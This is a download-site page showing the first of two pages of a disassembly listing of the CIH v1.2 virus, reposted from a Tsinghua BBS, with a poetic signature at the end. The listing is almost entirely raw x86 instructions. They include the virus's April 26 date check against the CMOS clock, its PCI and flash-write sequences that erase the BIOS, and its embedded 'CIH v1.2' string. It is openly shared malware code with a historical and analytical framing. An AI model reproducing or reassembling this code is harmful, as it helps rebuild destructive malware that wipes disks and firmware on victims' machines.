⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih v1-2的反汇编后的源代码.txt

📁 该文件夹里面重点描述了CIH病毒的源码和原理
💻 TXT
📖 第 1 页 / 共 2 页
字号:
: 0040122B 8DBE5FFBFFFF            lea edi, dword ptr [esi+FFFFFB5F] 

: 00401231 57                      push edi 

: 00401232 8956CE                  mov dword ptr [esi-32], edx 

: 00401235 8D56D8                  lea edx, dword ptr [esi-28] 

: 00401238 BDEB030000              mov ebp, 000003EB 

: 0040123D EB31                    jmp 00401270 

: 0040123F 83C228                  add edx, 00000028 

: 00401242 8B5A10                  mov ebx, dword ptr [edx+10] 

: 00401245 2B5A08                  sub ebx, dword ptr [edx+08] 

: 00401248 762C                    jbe 00401276 

: 0040124A 53                      push ebx 

: 0040124B 83E808                  sub eax, 00000008 

: 0040124E 8918                    mov dword ptr [eax], ebx 

: 00401250 8B5A14                  mov ebx, dword ptr [edx+14] 

: 00401253 035A08                  add ebx, dword ptr [edx+08] 

: 00401256 53                      push ebx 

: 00401257 57                      push edi 

: 00401258 8B5A08                  mov ebx, dword ptr [edx+08] 

: 0040125B 035A0C                  add ebx, dword ptr [edx+0C] 

: 0040125E 035EFC                  add ebx, dword ptr [esi-04] 

: 00401261 895804                  mov dword ptr [eax+04], ebx 

: 00401264 8B18                    mov ebx, dword ptr [eax] 

: 00401266 015A08                  add dword ptr [edx+08], ebx 

: 00401269 814A2440000040          or dword ptr [edx+24], 40000040 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:0040123D(U) 

| 

: 00401270 2BEB                    sub ebp, ebx 

: 00401272 7609                    jbe 0040127D 

: 00401274 03FB                    add edi, ebx 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:00401248(C) 

| 

: 00401276 E2C7                    loop 0040123F 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses: 

|:004011F9(C), :00401203(C) 

| 

: 00401278 0F                      BYTE 0fh 

: 00401279 21CC                    and esp, ecx 

: 0040127B EB2E                    jmp 004012AB 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:00401272(C) 

| 

: 0040127D 0128                    add dword ptr [eax], ebp 

: 0040127F 016C2408                add dword ptr [esp+08], ebp 

: 00401283 33DB                    xor ebx, ebx 

: 00401285 8958FC                  mov dword ptr [eax-04], ebx 

: 00401288 8D86AFFCFFFF            lea eax, dword ptr [esi+FFFFFCAF] 

: 0040128E B104                    mov cl, 04 

: 00401290 66C700CD20              mov word ptr [eax], 20CD 

: 00401295 8B948E29FFFFFF          mov edx, dword ptr [esi+4*ecx-000000D7] 

: 0040129C 895002                  mov dword ptr [eax+02], edx 

: 0040129F 0FB6943128FFFFFF        movzx edx, byte ptr [ecx+esi-000000D8] 

: 004012A7 2BC2                    sub eax, edx 

: 004012A9 E2E5                    loop 00401290 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:0040127B(U) 

| 

: 004012AB 0F                      BYTE 0fh 

: 004012AC 21C8                    and eax, ecx 

: 004012AE 8B5810                  mov ebx, dword ptr [eax+10] 

: 004012B1 8B38                    mov edi, dword ptr [eax] 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:004012C1(U) 

| 

: 004012B3 59                      pop ecx 

: 004012B4 E30D                    jcxz 004012C3 

: 004012B6 8BF1                    mov esi, ecx 

: 004012B8 B801D60000              mov eax, 0000D601 

: 004012BD 5A                      pop edx 

: 004012BE 59                      pop ecx 

: 004012BF FFD7                    call edi 

: 004012C1 EBF0                    jmp 004012B3 

: 004012C3 5B                      pop ebx 

: 004012C4 58                      pop eax 

: 004012C5 F9                      stc 

: 004012C6 9C                      pushfd 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:004011B7(C) 

| 

: 004012C7 33C0                    xor eax, eax 

: 004012C9 B4D7                    mov ah, D7 

: 004012CB FFD7                    call edi 

: 004012CD 9D                      popfd 

: 004012CE 5E                      pop esi 

: 004012CF 7331                    jnb 00401302 

: 004012D1 8BDF                    mov ebx, edi 

: 004012D3 66B80343                mov ax, 4303 

: 004012D7 8B4EFC                  mov ecx, dword ptr [esi-04] 

: 004012DA 8B7EFE                  mov edi, dword ptr [esi-02] 

: 004012DD FFD3                    call ebx 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses: 

|:0040113B(C), :00401146(C), :0040118F(C), :00401314(C) 

| 

: 004012DF FE4EFB                  dec [esi-05] 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:004010FF(C) 

| 

: 004012E2 61                      popad 

: 004012E3 0F                      BYTE 0fh 

: 004012E4 21C0                    and eax, eax 

: 004012E6 FF20                    jmp dword ptr [eax] 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:004010F2(C) 

| 

: 004012E8 8BDC                    mov ebx, esp 

: 004012EA FF7338                  push [ebx+38] 

: 004012ED FF5324                  call [ebx+24] 

: 004012F0 59                      pop ecx 

: 004012F1 89431C                  mov dword ptr [ebx+1C], eax 

: 004012F4 837B2824                cmp dword ptr [ebx+28], 00000024 

: 004012F8 7506                    jne 00401300 

: 004012FA 8B4128                  mov eax, dword ptr [ecx+28] 

: 004012FD 894601                  mov dword ptr [esi+01], eax 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:004012F8(C) 

| 

: 00401300 61                      popad 

: 00401301 C3                      ret 

  

  

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:004012CF(C) 

| 

: 00401302 66B80807                mov ax, 0708 

: 00401306 E670                    out 70, al 

: 00401308 E471                    in al, 71 

: 0040130A 86E0                    xchg al, ah 

: 0040130C E670                    out 70, al 

: 0040130E E471                    in al, 71 

: 00401310 66352604                xor ax, 0426 

: 00401314 75C9                    jne 004012DF 

: 00401316 66BDF80C                mov bp, 0CF8 

: 0040131A 8D76C7                  lea esi, dword ptr [esi-39] 

: 0040131D BF4C380080              mov edi, 8000384C 

: 00401322 66BAFE0C                mov dx, 0CFE 

: 00401326 FA                      cli 

: 00401327 FFD6                    call esi 

: 00401329 66BF5800                mov di, 0058 

: 0040132D 4A                      dec edx 

: 0040132E 66C74608240F            mov [esi+08], 0F24 

: 00401334 FFD6                    call esi 

: 00401336 8D5EF4                  lea ebx, dword ptr [esi-0C] 

: 00401339 B855550E00              mov eax, 000E5555 

: 0040133E B9AA2A0E00              mov ecx, 000E2AAA 

: 00401343 FFD3                    call ebx 

: 00401345 C60060                  mov byte ptr [eax], 60 

: 00401348 51                      push ecx 

: 00401349 E2FE                    loop 00401349 

: 0040134B 32E4                    xor ah, ah 

: 0040134D 8800                    mov byte ptr [eax], al 

: 0040134F 91                      xchg eax,ecx 

: 00401350 E2FE                    loop 00401350 

: 00401352 B855550F00              mov eax, 000F5555 

: 00401357 59                      pop ecx 

: 00401358 B5AA                    mov ch, AA 

: 0040135A FFD3                    call ebx 

: 0040135C C60020                  mov byte ptr [eax], 20 

: 0040135F E2FE                    loop 0040135F 

: 00401361 B4E0                    mov ah, E0 

: 00401363 8800                    mov byte ptr [eax], al 

: 00401365 66C746080C10            mov [esi+08], 100C 

: 0040136B FFD6                    call esi 

: 0040136D 33DB                    xor ebx, ebx 

: 0040136F B780                    mov bh, 80 

: 00401371 53                      push ebx 

: 00401372 83EC2C                  sub esp, 0000002C 

: 00401375 68001000C0              push C0001000 

: 0040137A B7                      BYTE b7h 

  

  

* Referenced by a CALL at Addresses: 

|:0040193B   , :00403F31 

| 

: 0040137B 085351                  or byte ptr [ebx+51], dl 

: 0040137E 51                      push ecx 

: 0040137F 51                      push ecx 

: 00401380 6801050040              push 40000501 

: 00401385 41                      inc ecx 

: 00401386 51                      push ecx 

: 00401387 51                      push ecx 

: 00401388 8BF4                    mov esi, esp 

: 0040138A 81ECAC000000            sub esp, 000000AC 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses: 

|:004013A0(U), :004013A9(U) 

| 

: 00401390 CD20                    int 20 

: 00401392 0400                    add al, 00 

: 00401394 1000                    adc byte ptr [eax], al 

: 00401396 66837E0617              cmp word ptr [esi+06], 0017 

: 0040139B 7405                    je 004013A2 

: 0040139D FE464D                  inc [esi+4D] 

: 004013A0 EBEE                    jmp 00401390 

  

* Referenced by a (U)nconditional or (C)onditional Jump at Address: 

|:0040139B(C) 

| 

: 004013A2 015E10                  add dword ptr [esi+10], ebx 

: 004013A5 C6464D80                mov [esi+4D], 80 

: 004013A9 EBE5                    jmp 00401390 

: 004013AB 8808                    mov byte ptr [eax], cl 

: 004013AD 8801                    mov byte ptr [ecx], al 

: 004013AF C60080                  mov byte ptr [eax], 80 

: 004013B2 8808                    mov byte ptr [eax], cl 

: 004013B4 8801                    mov byte ptr [ecx], al 

: 004013B6 C3                      ret 

  

  

: 004013B7 97                      xchg eax,edi 

: 004013B8 87D5                    xchg ebp, edx 

: 004013BA EF                      out dx, ax 

: 004013BB 97                      xchg eax,edi 

: 004013BC 87D5                    xchg ebp, edx 

: 004013BE EC                      in al, dx 

: 004013BF 0C44                    or al, 44 

: 004013C1 97                      xchg eax,edi 

: 004013C2 87D5                    xchg ebp, edx 

: 004013C4 EF                      out dx, ax 

: 004013C5 97                      xchg eax,edi 

: 004013C6 87D5                    xchg ebp, edx 

: 004013C8 EE                      out dx, al 

: 004013C9 C3                      ret 

  

  

: 004013CA 00                      BYTE 0 

  

  

: 004013CB 3A6627                  cmp ah, byte ptr [esi+27] 

: 004013CE 53                      push ebx 

: 004013CF 0001                    add byte ptr [ecx], al 

: 004013D1 006800                  add byte ptr [eax+00], ch 

: 004013D4 40                      inc eax 

: 004013D5 004100                  add byte ptr [ecx+00], al 

: 004013D8 40                      inc eax 

: 004013D9 0032                    add byte ptr [edx], dh 

: 004013DB 004000                  add byte ptr [eax+00], al 

: 004013DE 43                      inc ebx 

: 004013DF 49                      dec ecx 

: 004013E0 48                      dec eax 

: 004013E1 207631                  and byte ptr [esi+31], dh 



: 004013E4 2E3220                  xor ah, byte ptr cs:[eax] 

: 004013E7 54                      push esp 

: 004013E8 54                      push esp 

: 004013E9 49                      dec ecx 

: 004013EA 54                      push esp 

  

  

-- 

============================================== 

海上生明月,天涯共此时 

============================================== 

  

※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: 202.102.153.154] 

  

-- 

天生我才,就做一篇锦绣文章。 

风起云涌,就挽一回狂澜巨浪。 

成也堂堂! 

败也堂堂! 

  

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -